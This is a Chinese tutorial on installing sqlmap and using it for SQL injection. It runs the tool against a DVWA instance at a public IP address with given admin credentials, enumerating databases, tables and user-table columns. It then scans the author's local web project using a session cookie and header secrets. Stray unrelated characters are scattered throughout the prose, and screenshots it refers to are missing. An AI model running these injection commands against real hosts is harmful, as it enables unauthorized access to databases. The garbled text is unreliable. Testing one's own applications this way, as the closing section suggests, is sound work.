1.sqlmap簡(jiǎn)介
最白話的介紹就是sqlmap是一個(gè)工具,一個(gè)用來(lái)做sql注入攻擊的工具
2.windows安裝python2
這個(gè)sqlmap需要python2才可以正常執(zhí)行客年,注意python3不行哦橘蜜,如果你已經(jīng)安裝了python3涣澡,本地同時(shí)安裝python2和python3,需要注意修改其中一個(gè)python執(zhí)行文件的名字,以便在path中添加環(huán)境變量的時(shí)候演怎,可以正確區(qū)分大诸,詳細(xì)這里不進(jìn)行贅述捅厂,如果不了解,建議自行百度资柔。
3. windows安裝sqlmap
3.1 下載壓縮包
在sqlmap的網(wǎng)站上下載對(duì)應(yīng)的壓縮文件
http://sqlmap.org/
3.2 解壓文件
解壓到任意文件夾皆可
解壓以后大概是這個(gè)樣子的
3.3 啟動(dòng)一個(gè)命令行焙贷,執(zhí)行sqlmap.py
如果出現(xiàn)這個(gè)界面,表示一切正常
4. 測(cè)試sqlmap功能
4.1 使用DVWA測(cè)試網(wǎng)站
4.1.1 關(guān)于dvwa
這個(gè)網(wǎng)站有sql漏洞贿堰,專(zhuān)門(mén)拿來(lái)測(cè)試用辙芍,不知道是哪位好心人搞出來(lái)的
網(wǎng)址是:http://43.247.91.228:81/login.php
登陸的用戶(hù)名密碼是:admin/password
4.1.2 操作
首先登陸成功以后三步走,拿到需要的url
拿到url以后羹与,就可以使用這個(gè)url來(lái)注入了
python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#"
出現(xiàn)如下結(jié)果故硅,則表示sqlmap檢測(cè)到有可以注入的地方,
ps:如果沒(méi)有檢測(cè)到可以注入的地方纵搁,會(huì)顯示如下
既然檢測(cè)到有可以注入的地方吃衅,現(xiàn)在我們就來(lái)通過(guò)這個(gè)注入來(lái)獲取一些數(shù)據(jù)庫(kù)的信息
獲取數(shù)據(jù)庫(kù)
python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#" --dbs
可以看到執(zhí)行以后拿到了數(shù)據(jù)庫(kù)的信息
再進(jìn)一步,獲取數(shù)據(jù)庫(kù)中表的信息
python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa --tables
可以看到腾誉,拿到了dvwa這個(gè)庫(kù)中的所有表的名字
再進(jìn)一步徘层,獲取表中的字段信息
python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa -T users --columns
可以看到,拿到了表中的所有字段
4.2 使用本地網(wǎng)站
4.2.1 本地網(wǎng)站是本地的項(xiàng)目妄辩,現(xiàn)在用本地的項(xiàng)目跑起來(lái)來(lái)測(cè)試sqlmap
主要測(cè)試三個(gè)url:
http://localhost:9099/tjcx/qyzxcx/zscq/sbxx/years?nsrsbh='1234000048500077X3'
http://localhost:9099/record/user/2019-03-09
127.0.0.1:9099/open/qyxx/jcsj_gs?nsrsbh=110101717802684
4.2.2 操作--url1
url1:http://localhost:9099/tjcx/qyzxcx/zscq/sbxx/years?nsrsbh='1234000048500077X3'惑灵,這是一個(gè)post請(qǐng)求,nsrsbh是所需要的參數(shù)
執(zhí)行:
python2 sqlmap.py -u "http://localhost:9099/tjcx/qyzxcx/zscq/sbxx/years?nsrsbh='1234000048500077X3'" --method=POST
可以看到眼耀,沒(méi)有訪問(wèn)到正確的連接英支,而是被重定向到了登陸的login頁(yè)面,這是因?yàn)檫@個(gè)網(wǎng)站需要登陸哮伟,沒(méi)有登陸的情況訪問(wèn)鏈接就會(huì)被重定向到登陸頁(yè)面干花,所以在這里現(xiàn)在瀏覽器中登陸妄帘,然后拿到瀏覽器的cookie,讓sqlmap攜帶著cookie再去攻擊
拿到瀏覽器的cookie
執(zhí)行(攜帶cookie):
python2 sqlmap.py -u "http://localhost:9099/tjcx/qyzxcx/zscq/sbxx/years?nsrsbh='1234000048500077X3'" --cookie="JSESSIONID=9446902e-703b-4c81-914a-9abbd90ed9ce" --method=POST
執(zhí)行結(jié)果:可以看到池凄,并沒(méi)有找到可以注入的地方
觀察這個(gè)網(wǎng)站的日志抡驼,也可以看到,這個(gè)接口被調(diào)用很多次肿仑,都是sqlmap自動(dòng)調(diào)用的致盟,它在嘗試尋找可以注入的地方
4.2.3 操作--url2
url2:http://localhost:9099/record/user/2019-03-09,這是一個(gè)get請(qǐng)求,2019-03-09是restful風(fēng)格的參數(shù)
同樣攜帶cookie執(zhí)行:
python2 sqlmap.py -u "http://localhost:9099/record/user/2019-03-09" --cookie="JSESSIONID=9446902e-703b-4c81-914a-9abbd90ed9ce" --method=GET
執(zhí)行結(jié)果尤慰,沒(méi)有發(fā)現(xiàn)可以注入的地方
查看網(wǎng)站后臺(tái)馏锡,接口同樣被調(diào)用多次
4.2.3 操作--url3
url3:127.0.0.1:9099/open/qyxx/jcsj_gs?nsrsbh=110101717802684,這也是一個(gè)get請(qǐng)求伟端,但是不同的是杯道,這個(gè)接口不需要cookie就可以訪問(wèn),但是需要攜帶正確的header才可以執(zhí)行
攜帶header執(zhí)行:
python2 sqlmap.py -u "127.0.0.1:9099/open/qyxx/jcsj_gs?nsrsbh=110101717802684" --method=GET --headers="type:pwd\nchannelPwd:f1e7e7f187f84cdfb4784481ed01abd5\nchannelId:FDDX_PWD"
執(zhí)行結(jié)果责蝠,沒(méi)有找到可以注入的地方
查看后臺(tái)党巾,接口同樣被調(diào)用多次
5. 總結(jié)
簡(jiǎn)單的使用就是這樣,需要一個(gè)url霜医,有的可能需要攜帶cookie齿拂,有的可能需要攜帶header,
如果找到了注入點(diǎn)支子,就可以拿到一些數(shù)據(jù)信息创肥,但是現(xiàn)在的網(wǎng)站通常也比較難找到可以注入的url。
可以通過(guò)這種方式來(lái)檢測(cè)自己寫(xiě)的接口是否有被sql注入的風(fēng)險(xiǎn)
關(guān)于sqlmap的命令還有更深入的值朋,可以通過(guò)-h或者--help來(lái)查看更多的指令操作,比如不想每次執(zhí)行語(yǔ)句的時(shí)候都要手動(dòng)確認(rèn)一些選擇項(xiàng)巩搏,可以通過(guò)--batch指令昨登,讓sqlmap自己去決定。